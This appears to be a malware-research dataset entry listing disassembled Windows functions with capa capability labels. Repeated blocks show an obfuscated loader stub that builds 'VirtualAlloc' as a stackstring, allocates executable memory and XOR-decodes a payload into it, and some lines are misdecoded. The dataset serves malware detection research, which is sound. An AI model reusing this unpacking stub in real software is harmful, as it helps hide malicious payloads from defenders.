joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000d1d0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x450
mov rax, qword [0x140041210]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rbx, rcx
lea rcx, [rsp + 0x22]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x20], si
call fcn.1400138e0
lea rcx, [rsp + 0x20]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x14000d270
cmp eax, 0x104
ja 0x14000d270
lea rcx, [rsp + 0x232]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x230], si
call fcn.1400138e0
lea r8, [rsp + 0x20]
lea rdx, [0x140030f98]
lea rcx, [rsp + 0x230]
mov r9, rbx
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x230]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
jmp 0x14000d272
xor eax, eax
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.140012fa0
mov rbx, qword [rsp + 0x468]
add rsp, 0x450
pop rsi
ret

Function at 0x14000d430
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x58
test rcx, rcx
jne 0x14000d43d
xor eax, eax
jmp 0x14000d48d
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x80]
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
add rsp, 0x58
ret

Function at 0x14000d4a0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x68
test rdx, rdx
jne 0x14000d4ad
xor eax, eax
jmp 0x14000d50a
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x38], rax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x98]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
add rsp, 0x68
ret

Function at 0x14000dcc0
Capabilities:
Query environment variable

Disassembly:
push rbx
sub rsp, 0x20
xor ebx, ebx
test rcx, rcx
je 0x14000dce8
mov r8d, edx
mov rdx, rcx
lea rcx, [0x140031458]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea ecx, [rbx + 1]
test eax, eax
cmovne ebx, ecx
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x14000de80
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rdi
sub rsp, 0x50
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rsi, rcx
xor edi, edi
mov word [rcx], di
mov dword [rax - 0x38], 0x104
mov r9, rcx
xor r8d, r8d
xor edx, edx
lea rcx, [0x140031a50]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov ebx, eax
test eax, eax
jns 0x14000dedf
mov edx, eax
lea rcx, str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__NULL__pPath__MAX_PATH_
call fcn.140010380
xor edx, edx
mov ecx, ebx
int3
jmp 0x14000deea
test ebx, ebx
jns 0x14000df6b
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov ebx, eax
test eax, eax
jns 0x14000df23
mov edx, eax
lea rcx, str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
call fcn.140010380
xor edx, edx
mov ecx, ebx
int3
jmp 0x14000df2e
test ebx, ebx
jns 0x14000df6b
mov r9d, 1
lea r8d, [r9 + 0x19]
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov ebx, eax
test eax, eax
jns 0x14000df65
mov edx, eax
lea rcx, str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
call fcn.140010380
xor edx, edx
mov ecx, ebx
int3
jmp 0x14000df6b
mov eax, ebx
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret

Function at 0x14000ef50
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rsi
push rdi
push r12
sub rsp, 0x270
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x140041210]
xor rax, rsp
mov qword [rsp + 0x260], rax
movsxd r12, edx
mov rdi, rcx
xor ebx, ebx
mov word [rcx], bx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
test eax, eax
jns 0x14000efc0
mov edx, eax
lea rcx, str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__szPath_
call fcn.140010380
xor edx, edx
mov ecx, esi
int3
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x38]
int3

Function at 0x14000f070
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rsi
push rdi
push r12
sub rsp, 0x270
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x140041210]
xor rax, rsp
mov qword [rsp + 0x260], rax
movsxd r12, edx
mov rdi, rcx
xor ebx, ebx
mov word [rcx], bx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 0x23]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
test eax, eax
jns 0x14000f0e0
mov edx, eax
lea rcx, str.Error:_08x_in_::SHGetFolderPathW_0__CSIDL_COMMON_APPDATA__NULL__SHGFP_TYPE_CURRENT__szPath_
call fcn.140010380
xor edx, edx
mov ecx, esi
int3
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x38]
int3
Function at 0x14000f890
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x178]
sub rsp, 0x270
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov rax, qword [0x140041210]
xor rax, rsp
mov qword [rbp + 0x160], rax
lea r8, [0x140031558]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x38]
call fcn.140014224
test eax, eax
jne 0x14000fa3a
mov rcx, qword [rsp + 0x38]
call fcn.1400139d8
cmp qword [0x140057f80], 0
je 0x14000f8fc
mov eax, 1
jmp 0x14000fa3c
lea rdx, [rsp + 0x50]
mov ebx, 0x104
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp eax, ebx
ja 0x14000fa3a
test eax, eax
je 0x14000fa3a
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
int3
xor eax, eax
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.140012fa0
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rbp
ret

Function at 0x1400119e4
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
mov rdi, rdx
mov rsi, rcx
mov qword [rax + 0x18], rbx
call fcn.140011804
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rdx, qword [str.SOFTWAREJavaSoftDeploymentPropertiespending]
mov r9d, 0x20006
lea ebp, [rax + rax + 2]
lea rax, [rsp + 0x50]
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140011a45
xor eax, eax
jmp 0x140011a7a
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rdi
mov edi, 1
xor r8d, r8d
mov rdx, rsi
mov r9d, edi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140011a6d
mov ebx, edi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x140014a7c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400148ec
Function at 0x140019d4d
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140019d6b
je 0x140019d76
call 0x140019dc5
mov bl, 0xc7
lahf
pop rsi
jne 0x140019d56
call 0x140019d6e
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140019d56
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140019da4
je 0x140019de2
invalid
je 0x140019df3
jne 0x140019d56
lea rax, [0x140019c7c]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], WSAStartup
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], WSAGetLastError
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], WSAGetLastError
mov byte [rbp - 4], WSAGetLastError
mov byte [rbp - 3], reloc.WSOCK32.dll_WSAGetLastError
mov byte [rbp - 2], WSAAsyncSelect
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x1400159dd]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140019e94
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140019eed
je 0x140019ef3
call 0x140019ee4
fild qword [rdi - 0x7c]
jmp 0x174f56666
jne 0x140019eb6
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140019e76
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x140019d64
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140019d6b
je 0x140019d76
call 0x140019dc5
mov bl, 0xc7
lahf
pop rsi
jne 0x140019d56
call 0x140019d6e
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140019d56
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140019da4
je 0x140019de2
invalid
je 0x140019df3
jne 0x140019d56
lea rax, [0x140019c7c]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], WSAStartup
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], WSAGetLastError
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], WSAGetLastError
mov byte [rbp - 4], WSAGetLastError
mov byte [rbp - 3], reloc.WSOCK32.dll_WSAGetLastError
mov byte [rbp - 2], WSAAsyncSelect
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x1400159dd]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140019e94
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140019eed
je 0x140019ef3
call 0x140019ee4
fild qword [rdi - 0x7c]
jmp 0x174f56666
jne 0x140019eb6
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140019e76
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x140019dc5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140019d6b
je 0x140019d76
call 0x140019dc5
mov bl, 0xc7
lahf
pop rsi
jne 0x140019d56
call 0x140019d6e
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140019d56
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140019da4
je 0x140019de2
invalid
je 0x140019df3
jne 0x140019d56
lea rax, [0x140019c7c]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], WSAStartup
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], WSAGetLastError
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], WSAGetLastError
mov byte [rbp - 4], WSAGetLastError
mov byte [rbp - 3], reloc.WSOCK32.dll_WSAGetLastError
mov byte [rbp - 2], WSAAsyncSelect
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x1400159dd]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140019e94
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140019eed
je 0x140019ef3
call 0x140019ee4
fild qword [rdi - 0x7c]
jmp 0x174f56666
jne 0x140019eb6
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140019e76
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x14001ac6b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140041210]
jne 0x140012fba
rol rcx, 0x10
test cx, 0xffff
jne 0x140012fb6
repz ret
ror rcx, 0x10
jmp 0x14001abc4
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140058140]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140058238]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14001ac49
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140058140]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14001ac6b
mov rax, qword [rsp + 0x88]
mov qword [0x140058238], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400581d8], rax
mov rax, qword [0x140058238]
mov qword [0x1400580b0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400581c0], rax
mov dword [0x1400580a0], 0xc0000409
mov dword [0x1400580a4], 1
mov rax, qword [0x140041210]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140041218]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140058138], eax
mov ecx, 1
call fcn.1400286d4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140032940]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140058138], 0
jne 0x14001acf2
mov ecx, 1
call fcn.1400286d4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x140023660
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, edx
test rcx, rcx
jne 0x14002368a
call fcn.140015fa8
and dword [rax], 0
call fcn.140015f88
mov ebx, socket
mov dword [rax], ebx
call fcn.14001aba4
mov eax, ebx
jmp 0x1400236da
test edx, 0xfffffff9
jne 0x14002366d
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1400236b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140015fc8
call fcn.140015f88
mov eax, dword [rax]
jmp 0x1400236da
test al, 0x10
jne 0x1400236d8
test al, 1
je 0x1400236d8
test bl, 2
je 0x1400236d8
call fcn.140015fa8
mov dword [rax], 5
call fcn.140015f88
mov dword [rax], reloc.WSOCK32.dll_listen
jmp 0x1400236aa
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x140012c90
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x78
mov rsi, rdx
cmp dword [rcx], 2
jne 0x140012d26
movdqu xmm0, xmmword [rcx + 8]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmmword [str.uespemosarenegylmodnarodsetybdet]
movdqa xmmword [rsp + 0x30], xmm1
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmmword [0x140225450]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x50], xmm0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov rdi, qword [rsi]
xor eax, eax
test rdi, rdi
setne al
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.140013e90
test rdi, rdi
je 0x140012db5
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x30]
jmp 0x140012dce
mov rdx, qword [rsi]
xor ecx, ecx
test rdx, rdx
setne cl
movabs rax, 0xcbf29ce484222325
xor rax, rcx
movabs rcx, 0x1efac7090aef4a21
imul rax, rcx
test rdx, rdx
je 0x140012ec6
mov r9, qword [rsi + 0x10]
test r9, r9
je 0x140012f48
mov rcx, qword [rsi + 8]
movabs rdx, 0x100000001b3
mov r10, r9
and r10, 7
je 0x140012ed3
mov r11, rax
mov r8, rcx
nop word cs:[rax + rax]
movzx eax, byte [r8]
inc r8
xor rax, r11
imul rax, rdx
mov r11, rax
dec r10
jne 0x140012d90
cmp r9, 8
jae 0x140012edc
jmp 0x140012f48
movzx eax, byte [rsi + 8]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.140013e90
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rax, qword [rsp + 0x48]
mov r8, qword [rsp + 0x30]
add r8, rcx
rol rcx, 0xd
xor rax, r9
xor rcx, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x38]
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rax, r8
xor rcx, rdx
rol rdx, 0x20
xor r8, r9
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
add rdx, rax
shl rax, 0x10
xor rax, rdx
shr rax, 0x2b
add rdx, rcx
shr rcx, 0x2f
xor rcx, rax
mov rax, rdx
shr rax, 0x20
xor rax, rdx
xor rax, rcx
jmp 0x140012f48
movzx edx, byte [rsi + 8]
xor rax, rdx
imul rax, rcx
jmp 0x140012f48
mov r8, rcx
cmp r9, 8
jb 0x140012f48
add rcx, r9
nop
movzx r9d, byte [r8]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 1]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 2]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 3]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 4]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 5]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 6]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 7]
add r8, 8
xor rax, r9
imul rax, rdx
cmp r8, rcx
jne 0x140012ee0
and eax, 0x7fff
add rsp, 0x78
pop rdi
pop rsi
ret
Function at 0x140013e90
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x140013ed2
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 3
jbe 0x140013eda
mov esi, dword [rdx]
mov r9d, 4
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jb 0x140013eeb
jmp 0x140013f02
xor r10d, r10d
jmp 0x140013f8d
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x140013f02
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x140013f19
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x140013f39
add r11, r8
jmp 0x14001406a
mov r11, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rcx, qword [rax]
add rcx, r9
rol r9, 0xd
xor r11, rsi
xor r9, rcx
rol rcx, 0x20
mov rdi, qword [rax + 8]
add rdi, r11
rol r11, 0x10
xor r11, rdi
add rcx, r11
rol r11, 0x15
xor r11, rcx
add rdi, r9
rol r9, 0x11
mov qword [rax + 0x18], r11
xor r9, rdi
rol rdi, 0x20
mov qword [rax + 0x10], r9
mov qword [rax + 8], rdi
xor rcx, rsi
mov qword [rax], rcx
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x140014002
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
nop
add rcx, rsi
rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, rcx
rol rcx, 0x20
xor rdi, rbx
add r9, rdi
rol rdi, 0x10
xor rdi, r9
add rcx, rdi
rol rdi, 0x15
add r9, rsi
rol rsi, 0x11
xor rsi, r9
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x140013fb0
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 3
jbe 0x140014020
mov r9d, dword [rdx + r10]
mov r8d, 4
mov rcx, r8
or rcx, 1
cmp rcx, r11
jb 0x140014032
jmp 0x14001404c
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x14001404c
lea rcx, [r8 + r10]
movzx esi, word [rdx + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x140014066
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
Function at 0x140016b30
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
aeskeygenassist xmm0, xmmword [rdx], 2
movdqa xmmword [rcx], xmm0
ret
Function at 0x14003c910
Capabilities:
Query or enumerate registry value

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
mov r14, rdx
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x60]
mov rdx, r8
mov r8, r9
call fcn.1400463a0
mov dword [rsp + 0x38], 0x800
mov dword [rsp + 0x3c], 0
movzx eax, byte [0x1402e6951]
mov ecx, 0x800
mov edx, 1
call fcn.140018800
test rax, rax
je 0x14003ca8e
mov rbx, rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0x800
mov qword [rsp + 0x58], 0
mov rsi, qword [rsp + 0x60]
lea rbp, [rsp + 0x38]
lea r15, [rsp + 0x3c]
mov r12, qword [sym.imp.advapi32.dll_RegQueryValueExW]
mov rdi, qword [rsp + 0x50]
mov r13, qword [rsp + 0x58]
sub rdi, r13
nop word cs:[rax + rax]
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbx
mov rcx, r14
mov rdx, rsi
xor r8d, r8d
mov r9, r15
call r12
cmp eax, 0xea
jne 0x14003c9ee
mov r8d, dword [rsp + 0x38]
cmp rdi, r8
jae 0x14003c9b0
lea rcx, [rsp + 0x48]
mov rdx, r13
call fcn.140219ac0
mov rbx, qword [rsp + 0x48]
jmp 0x14003c997
test eax, eax
jne 0x14003ca10
mov eax, dword [rsp + 0x38]
mov qword [rsp + 0x58], rax
mov eax, dword [rsp + 0x3c]
cmp eax, 0xb
jbe 0x14003ca69
movabs rax, 0xde00000002
jmp 0x14003ca18
shl rax, 0x20
or rax, 2
mov rcx, qword [rsp + 0x40]
mov qword [rcx], rax
mov byte [rcx + 0x18], 0xc
